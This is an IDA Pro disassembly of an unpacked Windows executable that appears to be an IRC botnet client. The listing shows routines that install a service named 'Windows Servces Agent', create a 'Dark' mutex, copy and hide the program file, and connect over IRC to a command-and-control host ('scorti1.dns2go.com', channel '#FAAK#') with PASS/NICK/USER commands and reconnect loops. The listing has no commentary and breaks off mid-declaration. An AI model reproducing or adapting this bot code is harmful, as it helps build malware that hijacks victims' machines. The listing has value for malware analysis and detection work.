; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : A6DBED25EB5FC3D8312F486D6A7B1FEC ; File Name : u:\work\a6dbed25eb5fc3d8312f486d6a7b1fec_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_418359+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsServces ; "Windows Servces Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CAF28 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41AFE0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CAF98 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CAED8 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CAF50 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:00416643p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41B4D5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41B4C2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41B202 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B11A add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41B0B1 push edi call sub_41B05B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43DEBC call dword_4CB00C call sub_40B2BF call dword_4CAECC call dword_4CAECC mov ebx, dword_427078 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41B590 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_43D128 mov [ebp+var_28], 1 mov [ebp+var_24], di call near ptr 2690000h nop lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2680000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call near ptr 2670C39h nop test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427068 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43D120 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418684 pop ecx mov dword_4CACB0, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270A8 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CACB4, eax call esi push eax call sub_41B8D8 pop ecx call sub_409B12 push 2 call dword_4CB020 push 7530h push offset aDark ; "Dark" push ebx push ebx call near ptr 26A079Ah nop push eax nop call near ptr 26A0732h cmp eax, 102h jnz short loc_4012A1 push 1 call near ptr 77E75CB5h nop loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CAEE4 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2690000h lea eax, [ebp-2ECh] push esi push eax push ebx call near ptr 26A059Eh nop push eax nop call near ptr 2680000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41B9D1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_4293C4 lea eax, [ebp-5F4h] push esi push eax call sub_41B980 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41B900 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41AFE0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41AFE0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_4293BC push eax call sub_41B886 add esp, 10h lea eax, [ebp-1E8h] push eax call near ptr 26A04DCh nop cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 26A0381h loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427090 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C nop call near ptr 2690CE2h cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h nop call near ptr 2690579h lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_418293 pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 26A0381h push 10h lea eax, [ebp-20h] push ebx push eax call sub_41B590 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41B590 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset dword_43D128 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi nop call near ptr 2690CB0h push eax push esi push 100000h call near ptr 26907E6h nop lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_4293B0 push eax call sub_41B886 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 2670C39h test eax, eax jz short loc_401516 push 0C8h nop call near ptr 2690579h push dword ptr [ebp-20h] mov esi, dword_427068 call esi push dword ptr [ebp-1Ch] call esi call dword_4CAECC push ebx nop call near ptr 77E75CB5h loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DB294, 2 jle short loc_401562 mov eax, dword_4DB298 push dword ptr [eax+4] call sub_41B779 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 26A0732h push esi nop call near ptr 26708E6h mov eax, dword_4DB298 cmp [eax+8], ebx jz short loc_401562 push 7D0h call near ptr 2690579h nop mov eax, dword_4DB298 push dword ptr [eax+8] call near ptr 269074Ch nop loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CB044, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_429394 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B0F6 lea eax, [ebp-0A0h] push eax call sub_4151AC push 0B80h push ebx push offset dword_43D130 call sub_41B590 add esp, 24h lea eax, [ebp-0A0h] push offset unk_429370 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B0F6 add esp, 14h mov esi, eax mov edi, dword_42707C lea eax, [ebp-8] push eax push ebx push ebx push offset dword_419A00 push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz short loc_401622 nop call near ptr 2690CE2h push eax lea eax, [ebp-0A0h] push offset unk_429330 push eax call sub_41B886 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_4151AC push 2 call sub_40B33E pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429304 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_4101FC push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz short loc_40169A call near ptr 2690CE2h nop push eax lea eax, [ebp-0A0h] push offset dword_4292D0 push eax call sub_41B886 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_4151AC pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41B8E2 push 7Fh and eax, 3 push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CACBC mov dword_4CAE28, eax call sub_41B5F0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CAD3C push offset aFaak ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh mov esi, offset dword_4CAD7C push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword_4CAE10, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CACB8 mov dword_4CAE24, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CAE24, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h call near ptr 2690579h nop inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CACBC call sub_41B5F0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CACBC call sub_41B5F0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B2BF loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CAECC loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+662Ao var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CAF74 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AAF9 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40B08D mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43DEC8 push edi push eax call sub_41B5F0 add esp, 28h push 6 push 1 push 2 call dword_4CAFF4 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43DEBC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CAF1C cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CB00C call sub_40AB22 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j nop call near ptr 2690579h jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_4293CC call sub_415220 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CB00C test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B412 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41BB20 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CAE20, bl jz short loc_40199A push offset byte_4CAE20 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409A2C add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CB00C push 1388h nop call near ptr 2690579h loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CAF8C test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_417F7F pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h call near ptr 2690579h nop jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_5D88 = byte ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h var_50F4 = byte ptr -50F4h var_4FF4 = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = byte ptr -45ECh var_4588 = byte ptr -4588h var_4488 = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch var_2E58 = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr -0E00h var_D80 = dword ptr 